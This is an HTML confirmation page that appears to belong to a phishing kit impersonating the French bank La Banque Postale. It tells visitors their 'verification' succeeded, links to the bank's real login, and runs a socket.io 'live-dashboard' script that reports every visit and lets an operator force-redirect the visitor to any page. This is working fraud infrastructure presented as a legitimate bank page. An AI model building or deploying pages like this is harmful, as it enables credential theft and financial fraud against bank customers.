/home2/mshostin/live-dashboard/public/success.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Confirmation</title>

<style>
:root {
    --bp-blue: #003a8f;
    --bp-border: #d7deeb;
    --bp-gray: #6b7280;
    --bp-bg: #f9fbff;
    --bp-success: #16a34a;
}

* {
    box-sizing: border-box;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}

body {
    margin: 0;
    background: #ffffff;
    color: var(--bp-blue);
}

/* ===== HEADER ===== */
header {
    height: 80px;
    display: flex;
    align-items: center;
    padding: 0 32px;
    border-bottom: 1px solid #e6e9f0;
    background: #ffffff;
}

header img {
    height: 56px;
}

/* ===== CONTAINER ===== */
.container {
    max-width: 420px;
    margin: 90px auto;
    padding: 0 20px;
    text-align: center;
}

/* ===== ANIMATION ===== */
.success-wrapper {
    margin-bottom: 20px;
}

.checkmark {
    width: 80px;
    height: 80px;
    border-radius: 50%;
    display: block;
    stroke-width: 4;
    stroke: var(--bp-success);
    stroke-miterlimit: 10;
    box-shadow: inset 0px 0px 0px var(--bp-success);
    animation: fill .4s ease-in-out .4s forwards,
               scale .3s ease-in-out .9s both;
    margin: 0 auto;
}

.checkmark__circle {
    stroke-dasharray: 166;
    stroke-dashoffset: 166;
    stroke-width: 4;
    stroke: var(--bp-success);
    fill: none;
    animation: stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards;
}

.checkmark__check {
    transform-origin: 50% 50%;
    stroke-dasharray: 48;
    stroke-dashoffset: 48;
    animation: stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.6s forwards;
}

@keyframes stroke {
    100% { stroke-dashoffset: 0; }
}

@keyframes scale {
    0%, 100% { transform: none; }
    50% { transform: scale3d(1.1, 1.1, 1); }
}

@keyframes fill {
    100% { box-shadow: inset 0px 0px 0px 40px #dcfce7; }
}

/* ===== TEXT ===== */
h1 {
    font-size: 24px;
    font-weight: 600;
    margin-bottom: 10px;
}

.subtitle {
    font-size: 14px;
    color: var(--bp-gray);
    margin-bottom: 30px;
    line-height: 1.5;
}

/* ===== BUTTON ===== */
button {
    width: 100%;
    height: 50px;
    border-radius: 8px;
    border: none;
    background: var(--bp-blue);
    color: #ffffff;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
}

button:hover {
    background: #002f73;
}

.info {
    margin-top: 20px;
    font-size: 13px;
    color: var(--bp-gray);
}

/* ===== RESPONSIVE ===== */
@media (max-width: 480px) {
    .container {
        margin-top: 60px;
    }

    h1 {
        font-size: 22px;
    }
}
</style>
</head>

<body>

<!-- HEADER -->
<header>
    <img src="logo.svg" alt="Logo">
</header>

<!-- CONTENT -->
<div class="container">

    <div class="success-wrapper">
        <svg class="checkmark" viewBox="0 0 52 52">
            <circle class="checkmark__circle" cx="26" cy="26" r="25"/>
            <path class="checkmark__check" fill="none"
                  d="M14.1 27.2l7.1 7.2 16.7-16.8"/>
        </svg>
    </div>

    <h1>Validation réussie</h1>

    <div class="subtitle">
        Votre vérification a été confirmée avec succès.<br>
        Vous pouvez poursuivre en toute sécurité.
    </div>

    <button onclick="window.location.href='https://www.labanquepostale.fr/particulier/connexion-espace-client.html'">
        Continuer
    </button>

    <div class="info">
        🔒 Session sécurisée
    </div>

</div>

<!-- LIVE SOCKET -->
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });
socket.emit("page_visit", window.location.pathname);
socket.on("force_redirect", (newPage) => {
    window.location.href = newPage;
});
</script>

</body>
</html>